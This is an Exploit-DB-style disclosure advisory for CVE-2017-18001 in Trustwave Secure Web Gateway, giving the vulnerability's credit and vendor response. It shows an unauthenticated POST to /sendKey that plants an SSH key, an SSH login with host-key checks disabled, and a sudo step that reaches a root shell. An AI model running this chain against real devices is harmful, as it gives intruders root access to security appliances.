Trustwave SWG - SSH Unauthorized Access

EDB-ID: 44047
Author: SecuriTeam
Published: 2017-12-26
CVE: CVE-2017-18001
Type: Remote
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 The following advisory describes an unauthorized access vulnerability that allows an unauthenticated user to add their own SSH key to a remote Trustwave SWG version 

Trustwave Secure Web Gateway (SWG) “provides distributed enterprises effective real-time protection against dynamic new malware, strong policy enforcement, and a unique Zero-Malware Guarantee when managed for you by our experts.”

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
Trustwave was informed of the vulnerability, and released the following advisory:

CVE: CVE-2017-18001

## Vulnerability details
Trustwave SWG allows remote attackers to send to the SWG product a SSH key that will be used by the SWG product as the SSH key to logon to the device.

This allows unauthenticated user to send a POST request to /sendKey

POST /sendKey HTTP/1.1
Host: trustwave.device:5222
Content-Length: 558
content-type: multipart/form-data
user-agent: libwww-perl/6.15
Connection: close

Content-Disposition: form-data; name="publicKey"; filename="public_key_to_send"
Content-Type: text/plain

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFxLGHCIST4jLDreJoQZnIZX6Fcx/ZyM1dzR2ZSwPG7UC3GYs61/cRGFvL9yuPZwIn8f/p9MCMoKHIG1gNZu0i7pqqZgB5vL+Dbf1vXl4PLY0wwcNMyVUBJaTSHdHSqe1KGBcM/1/gMsGpgcOJw2XMNubmXZxRSFSQLca1BsDmEyPF1KVpGfk60GtEH+c5E6ScEaTP7h0NcM6zEl9gubO2R+cq9FsPcMwF4bdsxyEZYGtVdS8B4goewEt1Nj+1hAzBWGox+hySee0QshZFAvZUrfcn4TsOd1iT95jAFoIDReQn781hmT6YQBpnl7HbDp6otyXAxrsvMOg1fvriAzHv rsyncuser

Which will add the supplied ssh key to Trustwave SWG, which we can use it to login to the device:

/usr/bin/ssh -q -o PasswordAuthentication=no -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o ServerAliveInterval=10 -i ./test.key [email protected]
Last login: Fri Aug 25 9:01:23 2017 from x.x.x.x
SWG Version :
SWG Maintenance Release : 0
Role : vs
Machine Type : NG-6000

If we will run the id command via ssh we will get the following response:

-sh-4.1$ id
uid=1000(rsyncuser) gid=48(apache) groups=48(apache)

Once we connected to Trustwave SWG via SSH we can run commands as root by accessing /opt/finjan/msh/

# sudo /opt/finjan/msh/ bash
bash-4.1# id
uid=0(root) gid=0(root) groups=0(root)

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